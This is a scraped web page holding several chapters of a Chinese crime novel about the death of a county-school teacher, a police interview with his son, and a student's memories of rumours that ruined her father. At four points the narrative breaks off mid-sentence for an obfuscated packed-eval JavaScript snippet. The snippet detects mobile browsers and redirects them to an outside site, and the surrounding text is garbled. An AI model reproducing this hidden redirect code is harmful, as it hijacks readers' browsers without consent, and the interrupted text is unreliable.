但是今天,她好像把汪明远当成了女生。 听完了汪明远不甘的质问后,她黑框眼镜下的眼睛混合着鄙夷、嫌恶和轻视,化成一把尖刀,把汪明远的自尊割成一片又一片。仿佛汪明远是一个不自知的脏东西,竟然妄图往明亮华丽的大厅上来。 平时不过当你是个说得甜言蜜语的物件儿,各种便利和恩惠还不够吗?一个物件儿也配质问我? 一通劈头盖脸的侮辱和谩骂之后,汪明远冒着大雨,灰头土脸地离开了。 汪明远参悟的二个道理:钱和权,无限趋近于真理。 汪明远不因为有这样世俗的想法而自我看轻。 要是全天下的人都能推心置腹,否认爱钱爱权的,又能有几个? 不过参悟并不等于行动上的必然成功。 于是乎,回到关图县的汪明远,继续不甘着,也继续努力着。 三尺讲台上,他拼尽全力;三尺讲台下,他更加卖命地钻营取巧。 汪明远薪资微薄,但他愿意花掉一大半的钱财,用于领导所好。 哪怕自己吃糠咽菜,也绝不言弃,拼尽全力,想用自己低微的出身,搏出一个“紧要”之人唾手可得的前程。 可穷人拼尽全力一搏,也比不上“紧要”人物动动手指。 所以他只好看着近在眼前好像唾手可得的职位,被某个不知名角落跳出来的庸碌同事垂手即得,正如他学生时代的某些混子同学一样,不费吹灰之力地拿走他全部的希望。 那时候,关图县虽说在整个安城也没什么存在,但那里的中学还不至于像二十多年后那样普通,所以学校对学生的成绩是在意的。 汪明远对升职志在必得的底气,在于他总能带出最好的班级,教出最好的成绩。 而那位半路杀出来的同事,带的班级常年排名倒数,成绩倒是一直稳定。 领导看出了他的泄气,害怕他这头有欲望的快牛再也抽打不动,只跟他保证下次一定。 一次又一次,失败又失败,汪明远快要被磨完了心气。 汪明远彻底寒了心,而后就是全然不在意。 不在意工作,不在意生活,更不在意人生大事。 所以他经人介绍,随意娶了个妻子,没有特别的原因,只因为对方不需要彩礼,人还长得漂亮,性格也温柔,“性价比”极高。 妻子也是个传统的女人,和大多数受人蒙骗的女人一样,同样认为到了年纪便应该成婚。 她对汪明远一见倾心,因为对方身上有一种书卷气,举手投足之间有几分读书人的儒雅。 汪明远总能让她想到去世多年的父亲,那时候,一家三口人挤在狭小的屋子里,母亲总能用最普通的食物做出最美味的羹汤,而父亲则抱着懵懂无知的自己,专注地看手里被翻烂了的书本。 只不过后来,两人都去世了,只留下自己这唯一的遗物。 她像母亲不嫌弃曾经穷酸的父亲一样,不嫌弃汪明远的出身,宁愿不要彩礼,也要嫁给他。 但汪明远对妻子只是生理和凑活过日子的需要,谈不上感情,更谈不上爱情,那是诗人浪子趋之若鹜的“奢侈品”,他一介庸碌无为的凡夫俗子可够不着。 婚后第二年,妻子生下了一个孩子。 汪明远这辈子,除了自己,还没有爱过任何一个人,只除了这个孩子。 妻子手里那个小家伙分明比巴掌大不了多少,却能嚎哭得震天响,好像连房顶也要掀起来。 汪明远也不觉得吵闹,每每从心底里泛起来一股热切的爱意。 孩子一天天长大,汪明远的爱意也分毫没有减退。 这是他第一次全然无私的爱一个人,爱得没有经验,爱得笨拙,却爱得纯粹,不掺杂任何一丁点儿的算计和计较。 此时的汪明远若是被人问道:“你愿不愿意为了你的孩子去死?”,他只会毫不犹豫地回答:“当然。” 孩子一岁多时,那年关图县的冬天来得格外早,一般人家舍不得多烧煤炭,非得等了再等,熬不住了才升起炉火,只为了省下几个煤炭钱。 但汪明远不同,看着孩子被冻红了的小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056070|179109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸蛋,摸着被冻僵了的手,舍不得孩子吃苦的他,早早地烧起了炉子。 炉火很快升起来了,刚学会走路的小家伙,穿着母亲给准备的厚棉袄,在屋子里嘻嘻哈哈地跑来跑去。 在母亲转身走出屋外捡拾煤炭的功夫,小家伙寻不见母亲,也踉跄着要跑出门去,却不小心撞上门口的木框,四仰八叉地躺在有些阴湿的地上。 汪明远刚忙完了学校的事情,甫一跨入院子,刚走到家门口,就远远地听到孩子可怜的哭声,有些撕心裂肺,也有些好笑。 他走近了,看见小家伙在门口四仰八叉、人仰马翻,像个翻了身的小乌龟,无论怎么扭动也起不来,便也忍不住,跟着捡了煤炭回来的孩子母亲哈哈大笑。 小家伙看见父亲母亲都在笑,弄不清楚状况,但也傻傻地跟着笑。 “小傻瓜,摔了还傻乐!”汪明远抱起圆滚滚的小家伙,刮了刮圆翘泛红的小鼻头,“看看,爸爸给你买了什么?” 汪明远举起拎了一路的地瓜,高高地举在孩子眼前一晃再晃。 小家伙不过是个一岁多的孩子,前不久才在父母的坚持下,刚刚断了奶,又哪里见过地瓜? 伸出短胖的小手想要抓过来,但是奈何穿得太厚,怎么够也够不着,越够不着越着急,惹得汪明远和妻子又是一阵发笑。 她接过丈夫手里的地瓜,挑出几个小一点的埋在炉灰里,毕竟小的熟得快。然后转身去了厨房,接着准备晚饭。 小家伙虽不认得地瓜,但是地瓜的香味却很是能勾起馋虫。 同往常一样,被父亲圈在身前,抱了个满怀。汪明远拿出从学校带回来的试卷批改,小孩子起初还乖巧地坐在他怀里,黑葡萄一般的眼睛提溜提溜地跟着父亲的笔头转。 直到炉子里烤熟的地瓜飘出甜甜的香味,就再也乖巧不起来了,小家伙在汪明远怀里滚来滚去,扭动着要去拿炉子里的地瓜。 汪明远低头看看小家伙,再捏了捏软软的脸蛋,把孩子放到一边,俯身去拿烤地瓜。 炉火里刚烤出来的地瓜虽然香甜,但也烫手,就像玫瑰带着刺一样。汪明远一点点地把地瓜从炉子里滚出来,在地上左拍右拍,想要拍去地瓜上的炉灰,没顾得上一旁的孩子。 就在这时候,小家伙不知道怎么挪到了汪明远身边。 他还没来得及伸出手制止,小家伙一个弯腰下坠,脑袋几乎快要栽倒在滚烫的炉壁上。 汪明远顾不上滚烫的高温,也不顾上自己,忙伸出右手搁在孩子的头和炉壁之间,左手紧紧攥着孩子的厚棉袄,将其用力往后扯。 小家伙不明所以,被父亲猛地一扯,后退几步,站不住,眼看着一屁股坐在了地上。也不知道父亲为何拉扯自己,只是委屈得坐在地上哭。 厨房里的妻子听见了震天响的哭声,急忙走出来查看。 她一边走,一边在围裙上擦手。 她刚和了面,手上沾满一团一团的细小面絮,就这样随着她的动作蹭到围裙上,一团团的,像小家伙曾指着天上,非要让她看的云朵。 从此,汪明远右手手背上就有了一道扇形疤痕,或许是处理得当,渐渐地也浅了颜色,不过疤痕太大,看起来总不协调。 汪明远的一切都踏上了正轨,虽然不是他所求所欲,生活平凡却极为充实。 但是汪明远好像坐上了一趟火车,他分明早已计划好了终点,列车却在他不曾期待、不曾预料的地方换了轨道,使得他渐行渐远…… 19. 再中毒 正在四人打算再探河阴村的时候,周琳那头也没有消停。 继上次误服生附子中毒之后,这次,她又中毒了。 还是同样的原因。 所幸,这次是在周末,周琳家对门的邻居一家老小都回来了,又有上次的经验教训,听到周琳家的动静,当即把她送到了医院,所以这次的情况相较于上次好了很多。 不过这次周琳的状态却没有上次好。 班青和白杨再次去医院的时候,还是在同一间病房,在不同的床位,周琳面无表情地瑟缩在床上,惊疑未定。 不同于上次她在家时嚣张自信的模样,也不同于以往接人待物的周到,班青和白杨走进病房的时候,周琳那话不多、有些许腼腆的儿子都跟两人打了招呼,唯有周琳,状若无人,继续陷在自己的情绪里。 直到周凯见自己母亲依旧沉默,又连着喊了两声她都没注意,才不得不走近床头,拍了拍她的肩膀。 周琳抬起来的脸上,仍然有些恍惚,半晌才勉强挤出一个难看的笑容,沙哑的嗓子艰难憋出几个字来:“白警官,班警官。” 两人见周琳的样子实在有些不正常,虽然心中好奇,但不好过多打扰,寒暄几句就跟周琳和周凯告辞,抬脚走向了医院的走廊里。 突然,身后传来一阵急促的脚步声,伴随着不远处护士站一位年轻小护士的教训:“小声点!跑什么跑呢,别人都在休息!” 周凯在电梯门口追上了班青和白杨。 医院右前方的亭子里,此时正是中午饭点。 实在太炎热,所以鲜有人经过此地。 周凯坐在白杨和班青对面,双手乖巧地搭在大腿上,像是个小学生。他有几分少年人的腼腆,又好像是面对两个警察有些发怵,显出几分不安来。 班青看出了对方的腼腆无措,而白杨一直老神在在地坐在石凳上,好似没有察觉到亭子里停滞的空气和氛围。 对面的年轻人开口了。 “班警官、白警官,真是不好意思又打扰你们,还劳烦你们又跑一趟。” “不麻烦,不麻烦,我们这次也是顺道。”白杨有些不在意地摆摆手,“不过,上次是因为误服了那个,那个——” “生附子。”班青替他回答。 “啊对,生附子,这次怎么也是生附子中毒啊?上次遭了那么大的罪,怎么不长长教训?” 周凯尴尬一笑,“我上次回学校的时候就叮嘱她了,这东西危险,让她换别的药吃,她非不听。我又是个小辈,根本拿她没办法。” 班青有些无奈地出了个主意:“要是实在不听劝,你就给她扔了算了,毕竟也是为她好,想来她也不会怪罪你。” “哎好的,我一会儿回去就处理了。”周凯有些敷衍地回答。 白杨照旧坐在凳子上,有些漫不经心,就这么静静地等着周凯张嘴。 双方又这么僵持了两分钟,一阵沉默后,白杨假意起身要走。 “我们还有别的案子要办,最近真是忙得要命,要是没事的话——” “白警官!等等,我有情况要反映。”周凯见对方并不问自己,而是干脆转身走人,慌忙猛地站了起来,脱口而出道。 白杨背对着周凯,挑了挑眉,不甚在意地又坐了回去,“说吧,我们听着呢。” “我……我其实觉得我妈有很大的嫌疑。我已经怀疑很久了,但她毕竟是我妈,所以我不敢……” 周凯说不下去,沙哑着嗓子,最后几个字听着已经有些颤抖和哭腔。 白杨和班青听了他的话,有些意料之外。虽说目前来看,周琳确实有些不清白,但这话由她儿子说出来,到底有些奇怪。 班青装作毫不知情,皱着眉头问道:“你……知道些什么?” “我,我只是怀疑,没有实打实的证据。” “没事!但说无妨,我们自有判断。” “说起来……其实还挺丢人的……”他的声音有些沉闷,目光和两人很快地对视一眼,迅速不自然地看向别处。 “一个多月前,刚放暑假那会儿,有一天我去一个朋友家玩。晚上九点多钟,我爸他们高中还没有下晚自习,我在朋友家楼下后门的小路上碰上了我妈,她和一个男人手挽着手在散步。 “当时巷子里黑灯瞎火,我怕她看见我,就赶紧拐到旁边的小路上躲起来。后来,我偷偷跟着他们,那男的送她到我家附近,磨蹭好半天才走。我认出了那男的——” 周凯随即很认真地看着班青的眼睛,笃定地说:“他是我妈的上司,杨部长。小时候,我妈带着我去她们单位,我见过他。” “所以你由此推断,你妈妈伙同她的上司,杀了你爸?可是……你爸爸出事那几天她在乡下亲戚家呢。”白杨装出一副不怎么认可的样子,诱导他说出更多内容。 “那个我知道,是她的小姨夫,但是他们很多年都没有来往了。” “但是,我听你妈妈说,他们关系一直很好?”班青想起上次周琳所言,问他道。 “好什么好?我妈那个人,在外面表现得很好,但实际上……说难听点,是个势利眼。我妈嫌弃他们是农村人,加上一些陈年恩怨,一直都不和他们来往。”他的语气中带着一丝着急,仿佛害怕班青和白杨不相信。 周凯说完,后知后觉自己刚才当着外人的面,说了母亲的坏话,有些尴尬地抠了抠手指,脸也有些发烫,连带着耳根也发红。 白杨淡淡道:“但我们跟你妈妈的表弟确定过,她那时的确在他家,帮着他处理丧事。” 周凯突地身子前倾,更加着急地说道:“所以我怀疑我妈中途从灵堂溜出来了!毕竟你们也调查过,她表弟家就在城南水泥厂附近。” “或者……”周凯坐了回去,尴尬地摸了摸鼻子,“或者她的上司帮助了她呢?毕竟……他们都是那样的关系了……” 白杨点点头,好像是在赞同,很久后才说话:“但是,你爸妈的感情已经差到这种程度了吗?都是有家有业的体面人,过不下去离了就算完,何必闹出人命——” “因为钱,他俩都想争一笔钱。”周凯突然斩钉截铁地说出了理由。 白杨和班青对视一眼,想起之前汪家财产的调查结果,不由得心中一跳。 周凯犹豫半晌,又补充道:“准确地说,那是一笔赔偿金。” “什么赔偿金?” “班警官,白警官,事到如今,我也没什么好隐瞒的了。”周凯好像下了极大的决心,倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056071|179109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 豆子一般讲述了赔偿金的来龙去脉。 原来,除了汪明远和周琳那几套价值不菲的房产,几年前,两人还得到了一笔一百多万的赔偿金。 准确地说,是一笔死亡赔偿金和一笔伤残赔偿金。 死亡的是汪明远的二弟汪明运,而伤残的,则是汪明远的三弟汪明迅,也就是周琳提到过住在河阴村的小叔子。 几年前,那时周凯还在读初中,某天他放学回家,听到父母在聊两个叔叔的事情。周凯家和他们没什么交往,他自然对这两个叔叔不亲近,只是听到两人一死一伤。 他再想要听得更仔细,就被周琳赶回了房间写作业。 就在他差不多快忘记这件事的时候,没过多久就发现父母相当低调地买了好些东西,对自己也是有求必应。 他觉得很奇怪,因为父母对他向来严厉,尤其在金钱方面,害怕他养成不好的习惯,更是限制很多。 不过谁不想有钱花?谁不想大手大脚地买想要的东西? 就在周凯迷迷糊糊但乐呵呵花钱的时候,几个月后的某一天,他可算是弄明白了。 当天周琳和汪明远又因为一些小事吵了起来,周凯从小听他们吵架,早已经烦透了,索性直接回了自己的卧室。 在关门的一瞬间,耳边飘来周琳尖锐刺耳的声音。 “哎我就是贪财!我就是个势利眼,但是谁他二大爷的比得上你啊?啊?你连自己亲弟弟都算计! “汪明运在坟地里躺着尸骨未寒,汪明迅更是在病床上等着救命钱!你连人家的救命钱都敢黑,欺负人家孤儿寡母,你倒是有脸骂我?你这个道貌岸然的伪君子,装什么文化人呢,你怎么不去死!” 周凯说完,脸已经红透了。 班青听完了汪家两个弟弟的遭遇,眉头紧锁,语气不怎么友善地问道:“所以你爸就欺负人家文化程度不高,不懂这些门道,黑了你两个叔叔的赔偿金?” 白杨面色不变,他比班青多工作了几年,比她见过的腌臜事更多,已然见怪不怪。 周凯本来就是腼腆内向的性格,好不容易鼓起勇气说了自家的丑事,看见白杨脸上的冷漠、班青和锅底灰一样阴沉的脸色,更是尴尬、慌张、害怕等情绪交织在一起,连屁股底下的石凳都快要坐不住了,仿佛下一秒就要栽倒在地。 周凯不知道要说什么,只是一个劲儿地道歉:“对不起,对不起,这事儿是我爸妈干的,跟我没关系,我那时候还小……” 班青听了,很想再反问他,但考虑到他还小,也需要他提供线索,话挤到了嘴边也没问出来。 白杨更是站在一旁,不否定也不肯定,脸色平淡,看不出什么态度。 随后,白杨看周凯越发尴尬,递了个台阶给他:“你还没吃饭吧?你妈妈也还等着你,我和班青就不耽误你的事儿了。回头再想起什么,记得一定跟我们联系。” 说完,白杨就拽着余火未消的班青大步离开。 亭子里,周凯一直乖巧地目送两人离去的身影,直到他们的车向前疾驰而去,穿过十字路口消失不见,才收回了目光。 他不知想到了什么,好像心中悬浮了很久的巨石终于坠落在地,放松地笑了笑,很快迈着轻快的步子也离开了亭子。 20. 照片 高三1班的班主任汪老师死了。 一大早,这个骇人的消息就如同点点火星子,仅仅在一个早自习的时间内就点燃了整个关图中学。 不知道该消息从哪里传出来,有人结合他之前失踪的消息,没人怀疑消息的真实性,他们交头接耳,纷纷猜测凶手是谁。 也有和汪老师熟识的人,他们并不希望汪老师就这样遭遇了不测,只觉得有人误传,尤其是高三1班的学生们。 许姝早几天就知道了汪老师的死讯,但是她不知道要以何种方式告诉这群孩子,学校也告诫过他们,为了早日侦破案件,为了避免更大的舆论,需要他们保持沉默。 许姝抱着手里的英语课本,看着直冲她走来的高三1班的学生们,感到前所未有的压力。 她想要故作镇定地安慰他们,告诉他们那些都是捕风捉影,并不真实,好叫他们不要相信。 但是世上哪有不透风的墙? 她又是个向来嘴笨的人,所以她站在走廊上,站在他们对面不说话,用这种最笨拙的方式抵抗他们的问题。 她低着脑袋不敢对视他们,但是对面的孩子们却能直直地盯着她。 此时,学生和老师之间的身份好像对调了。 突然,救星来了。 薛如许救了她。 她是班长,也是高三1班的孩子王,好像有着天然的领导力和亲和力,以至于学生们或许对老师和学校有所隐瞒和反抗,但是对她薛如许却言听计从,唯她马首是瞻。 她从孩子们面前匆匆离开的时候,转身回眸的瞬间,正好对上薛如许安慰的目光。 她的眼里,除了安慰之外,还有些莫名的情绪,至于那到底是什么,许姝走得太着急,没能看清楚。 几天后,谣言已不再是谣言,而是成了铁板钉钉的事实:汪明远死了。 尽管学校极力地掩盖,但巴掌大的一点地方,风言风语能传几天已经是了不起的结果。 许姝无奈接受了学校的安排,从代理班主任彻彻底底变成了高三1班实质上的班主任。 她一直是个善良的人,年轻人的身份也让她比“老油条”更多上些教学的责任感。 所以,尽管此前她曾经多次请辞才卸去班主任的身份,但此刻,她没推辞,仍然选择临危受命。 孩子们慢慢接受着汪老师去世的事实。 尽管因为汪老师的性格和他身上神秘的色彩,使得他们多数人在他生前都不太同他亲近,但毕竟死者为大,他身死的消息也难免在学生中引发一阵低潮。 不过日子慢慢地过去,对死亡的遗憾和哀伤渐渐在忙碌的高三生活中减轻、麻木,以至于最后渐渐被时间彻底消弭。 死掉的人正由着警察们日以继夜地替他寻找出真凶,孩子们也慢慢适应了新的数学老师、新的教学风格,许姝再度找回她作为班主任的教学节奏。 一切看起来都已经步入正轨。 “许老师,我有事情想跟你商量。”下午下了课之后,薛如许拉住正要回办公室的许姝。 她这些天神情恍惚,精神不佳,频频出错。 许姝怀疑是汪老师的死让她变成这样,所以她早就有找她谈一谈的计划。 别人兴许不了解,但是许姝有着天然的洞察力和理解力,她早就看出,这个看似开朗的孩子实际上敏感异常。 “好啊。但现在课题组组长找我有点事,这会儿没时间,要不下了晚自习之后再说吧?还在上次的炸鸡店?” 许姝小心翼翼地征求她的意见,薛如许点点头,两人就这样约定了时间和地点。 晚间,许姝到店里的时候,距离下晚自习的时间已经过了半个点儿。 此刻,薛如许正坐在店里最角落的位置,焦躁地蹂躏着她书包上的玩偶。 仍然是上次的位置,两人相对而坐,只是这次许姝对面只有一个人,没有了聒噪的李明明。 许姝气喘吁吁地坐下:“哎呀,后天有周考测试,刚才课题组组长让我们留下准备试卷。等了挺久的吧,要喝点饮料吗?可乐或者——” “许老师,你知不知道汪老师还有一个家庭?”没等到许姝讲完,薛如许幽幽道。 “什……什么?”许姝甫一坐下便是她莫名其妙的一句话,“你……是知道些什么吗?” “其实,那天我隐瞒了一些信息,就是警察到学校调查的那天。我告诉他们,汪老师的抽屉里有一个奇怪的小人儿,你还记得吗?” “嗯记得。你又想到跟扎小人相关的了?”许姝也不太相信怪力乱神,所以她一直没把这个线索放在心上。 与其说她是来听薛如许讲案子的,倒不如说她更多地是为了安慰这个孩子来的。 她耐心地等待对方的解释,同时拿起一旁的水杯,里面装了满满的柠檬汁,正好能缓解她口舌的干燥。 “其实……除了那个怪异的小人儿,我还看到了一张照片。” “什么?什么照片?”许姝眉头紧锁,十分震惊,喝水的姿势瞬间凝固住,仿佛在此刻,连空气都已经停滞,只等着对面的学生将她从其中解救而出。 薛如许将书包上的玩偶紧紧捏在手指间,她猛地抬起头,愣愣道:“那是半张斑驳的老照片,拍摄时间应该很久了,因为照片褪色褪得厉害。” 她说话的调子轻轻地拉长,好像在回忆。 对面的许姝没有打乱她的回忆,等到她稍有停顿的时候,才耐心地问她:“那你有没有看清照片上是什么?” “是一个女人,一个看着很温柔的女人,梳着两个辫子,和汪老师并排站着,手里还抱着一个孩子。” “还有呢?你还看到什么了?” 薛如许皱着眉头,困难地回忆着当时的场景,陷入长久的沉默。 回忆的过程实在痛苦,因为她当时打开抽屉先是被那诡异的娃娃吓了一跳,随即就看到了一旁的照片,但她不敢多看,很快拿了另一个抽屉里的茶叶走了,所以现在再要回想,便极为困难。 汪老师不轻易和他的学生们分享秘密,这样的人对于隐私有着异常的执着。 她虽然年纪小,却是个十分通透的人,她害怕失了分寸惹得他发怒,所以直到知道汪老师死亡之前,她都小心地守着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“网上说,如果要诅咒某个人,就要将他的信息贴到小人儿上,然后再用针扎。我故意没提照片,就是觉得警察肯定会顺着我给的线索去找被诅咒之人的信息,但他们应该没来得及找…… “后来没过几天,汪老师出事的事情就传疯了……” 许姝仍然不太理解,她觉得这个孩子太谨慎小心,超过了同龄人的心性。 她不由得问道:“查案当然会收到各种各样的线索,有真有假,有有用的,有没用的。你的确看到了照片,如果那时候告诉了警察,就算是对破案没用,又有什么关系呢?” 薛如许的意识有些抽离。 不知道为什么,这会儿她同许姝谈话时,总会不自觉地出神。 她沉默一阵后,才娓娓道来:“人们都说‘耳听为虚眼见为实’,但按照我爸的教训来看,耳朵听到的和眼睛看到的,都不一定是真实的。” 许姝知道她并不轻易说话,一旦决定主动开口就绝不会保留。 她也不催促,只是安安静静地等着她吐露心声的时候。 “哒哒哒……” 墙上的钟表好像被人加了速,就在慢性子的许姝都等得不耐烦的时候,薛如许终于下定了决心。 21. 耳听为虚,眼见为假 薛如许今年19岁,比班上大多数的同学都大上一岁。 因为她曾经停学一年。 薛如许的父亲薛怀中是关图二中的一名语文老师,从他毕业之后,就一直在那所学校任教。 因为为人随和,热心负责,教学能力强,所以他带了一届又一届的学生,在关图二中有着极佳的口碑。 直到薛如许初一的那年。 那一年,她母亲工作多年攒够了钱,终于结束了摆摊的日子,拿着这笔钱开了个早点铺子。 当母亲的忙得连饭都吃不上,更别说照看孩子,所以为了方便照顾女儿,薛如许就跟着她父亲,去了关图二中念初中。 她本来小升初考到了关图中学,成绩超过关图二中几十分,但是薛怀中觉得青春期的孩子难免多多少少会碰上点心理问题,还是跟自己一个学校好,起码有点情况,自己也能及时照应。 没想到,一个父亲小心藏着的那点私心,却给了女儿一场无端的灾祸。 也没想到,出事的并不是处于青春期的薛如许,而是多年来一直顺风顺水的薛怀中。 那一年,薛如许作为新生,进入了关图二中的初一3班。 与此同时,薛怀中带的初三7班也转来了一个女学生。 这个学生和其他人十分不同,她小的时候得过脑膜炎,治疗不当,所以伤了脑子,以至于一个十二三岁的孩子,痴痴傻傻,心智和七八岁孩子的差不多。 这样的特殊状况,自然是不能正常学习的。 所以当班上的学生们都在埋头苦学,打算考个好高中的时候,女学生只是坐在教室最后一排的角落无所事事,时而抬头看天,时而低头睡觉。 尽管她是一个特殊学生,薛怀中也没有像其他老师一样,害怕她拉低全班的平均分,害怕她影响班级排名,从而不接收她。 薛怀中是个不折不扣的好人,他不但有着一个人民教师对学生的关心和爱护,最重要的,在他的身上能看到闪耀的人性光辉。 当办公室里的几个老师无不满脸嫌弃地拒收这个“傻学生”的时候,他透过办公室的窗户,看到不远处校门口的方向,一个穿着布鞋的女人正牵着她动作笨拙的女儿往学校里走。 她样子呆呆傻傻,此刻进入一个全然陌生的环境,脸上更是布满了害怕。 她一把抓住母亲的手臂,用力地拖着母亲就要往校门口外的方向走,步子还带着无比的着急,生怕里面会出来一个人,将她反手抓进去。 年长的女人没奈何,不能让女儿就这样走出学校不上课,也怕拽疼了她,舍不得用力地拉着她直接去教室,两人就这样僵持着,引得周围路过的人频频侧目。 薛怀中突然想到了自己的女儿,想到她当初第一次上幼儿园的时候。 他好不容易才劝动她自己背着小书包进教室,她心不甘情不愿地答应了他,还同他拉钩,说好了不改变主意。 结果他还没走出幼儿园,她就像个哭花了脸的小猫,死皮赖脸地抓住他的双腿不放。 管你什么拉钩不许变,统统放到脑后。 “去我们班吧。”薛怀中的目光从窗外收回来,嘈杂争吵的人群突然因为他的一句话安静下来。 就这样,这个和别人不同的学生成为了他班级上的一员。 她虽然智商只有七八岁,却被她的父母教得很好。 上课虽然听不明白,但是从来不吵闹,安安静静地坐在教室最后的角落,不随意乱动,不胡乱吵闹,甚至连上课要去卫生间也知道举手示意。 她像是一块破了皮的橙子瓣,虽然不完美,却意外地融入了初三7班这颗橙子,并从这块橙子瓣破皮的地方散发出若有若无的果香。 不过紧跟着果香的,是遏制不住的变质和腐烂。 她实在是傻得可怜,傻到连最基础的身体变化也感受不到。很快,薛怀中作为班主任,自然而然地知道了她的事情。 他作为一名男老师,不方便跟她传授生理知识,便拜托隔壁班的女老师和班上的女同学多多留心,给她多一些的照拂。 谁知道这样的好心却成为了好事之徒嘴里不干不净的风言风语。 他起初听到的时候,气得浑身发抖,却不知道谣言从哪里传出来。他不想事情闹得更难看,只装作不知道,想着谣言虽然扩散,却总有最后消失的一天。 可是事情并没有往他期待的方向发展。 班里只有几个住校的学生,这位有些呆傻的学生便是其中一个。 平时,他身为一名男老师,为了躲避闲言碎语,总是拜托初三6班的女班主任代替他去女生宿舍例行检查,从无意外。 但是有一次,那老师不巧中暑回家休息去了,他短时间内找不到其他熟稔的人,只得自己去。 九月的关图县,仍然没能褪去热意,赤裸的臂膀和双腿散发着青春气息的同时,也不免引发出许多无端的遐想。 他到学生宿舍的时候,那女生正穿着短袖短裤呆呆地坐在床上,宿舍里其他的人都去了楼道里背单词,只有痴痴傻傻的她用不着这样干。 窗户外人来人外,通过破损了一角的玻璃,只能依稀看到一个高高大大的男人和一个面带畏惧的少女。 男人站在床前,背对着窗户,看不清脸上的神色。可是少女脸上的畏惧却十分显然。 恐怖的谣言就此炸开。 没人知道,一分钟之前,男人走进门后,看见屋内只有她一个人,微笑着随意地开了一句玩笑:“明天月考,她们都去背书了?你怎么不跟着去?” 她一向胆小又听话,一时间答不上来,搭在床沿的手竟然紧张得发抖,越抖越紧张,越抖越害怕,脸上自然就显现出几分畏惧。 不过没人在意真相了。 谣言越传越凶,越传越厉害,将薛怀中从一个人人赞不绝口的十佳老师,变成一个道貌岸然的畜生。 本意是放在眼皮子底下以便能多照顾的女儿薛如许,自然也跟着父亲遭了这场风波。 她和人交往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056073|179109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,要是交了心就是一辈子的朋友,但是交心的过程却极为漫长。 升了初中才半学期不到,她尚且还没能交到玩得来的朋友,就碰上了这样的谣言,无疑是雪上加霜。 他们传言,她薛如许的父亲如何如何对一个脑子呆傻的可怜学生。 她的父亲禽兽不如,她自然也跟着他禽兽不如。她的父亲道貌岸然,她自然也跟着他表里不一。 那些时候,她总是一个人,没人跟她讲话,就算想和她讲话的人也只得从众,否则就是和她一个阵营的人,跟她沦落到同一个下场。 他们越来越成为一个团结的班集体,参加各种各样的活动,获得各式各样的荣誉,只除了她薛如许。 她是个被初一3班流放的罪人,她被众人一起无情地送到一个孤岛,只要他们不发话,只要谣言不澄清,她就只能蜷缩在那狭小的一角,默默承受任何一个人居高临下的审判。 薛怀中被停职,他的女儿也跟着停学。 那一年是薛如许经历过的最困难的一年,她有太多的不甘心,有太多的恨意,有太多的委屈,但是她无处发泄。 她要向谁发泄呢?向同她一样甚至更胜于她,同样承受着不白冤屈和肆意诋毁的父亲?还是向事业刚有起色便因为丈夫背负的谣言而一落千丈,艰苦惨淡谋生的母亲? 谁也不能。 于是,她只能像个受伤的幼兽,远离是非之地,委屈地蜷缩在昏暗的一角,无助地舔舐伤口,静静等待着破晓。 许姝仔仔细细地听着她从头讲到尾,听到她说那个傻傻的女孩儿,听到她说自己也差点撑不过去,差点同样变成一个傻傻的女孩儿。 许姝听着她此刻云淡风轻的语气,总觉得心头涌上一股难言的情绪。 她终于明白,眼前这个看起来没心没肺的女生,被曾经疯传的谣言伤得厉害,所以她闭目塞听,哪怕看到了什么,听到了什么,也只当不知道。 毕竟,多一事不如少一事,绝不再让自己陷入危机之中。 她想安慰她,但是如今的薛如许已经度过了最昏暗的日子,此时的安慰便显得没有太多必要。 她想也学着薛如许云淡风轻的样子,悄无声息地转开话题,但是今晚已经讲得太多,以至于她一时半会儿也想不到其他的内容可以讲述。 最后,她什么都没说,只是询问薛如许想她怎么做。 薛如许出于对她的信任,才将自己所有的怀疑、小心藏在心里的过往告诉了对方。 她除了不正经的时候,从不说废话。虽然……她大多数时候都不太正经。 她当然想把自己抽身出去,借由许老师的嘴,将这件事告诉警察。但是她不好直说,所以只装作不知所措,保持沉默。 许姝从她的沉默中听到了她的话外音,她主动提起:“这样吧,不用你出面,不用你再次直面警察。我会把照片的事情告诉他们,同时也替你保密,你看如何?” 薛如许手里的玩偶终于不用再忍受她的揉捏。 22. 爬山 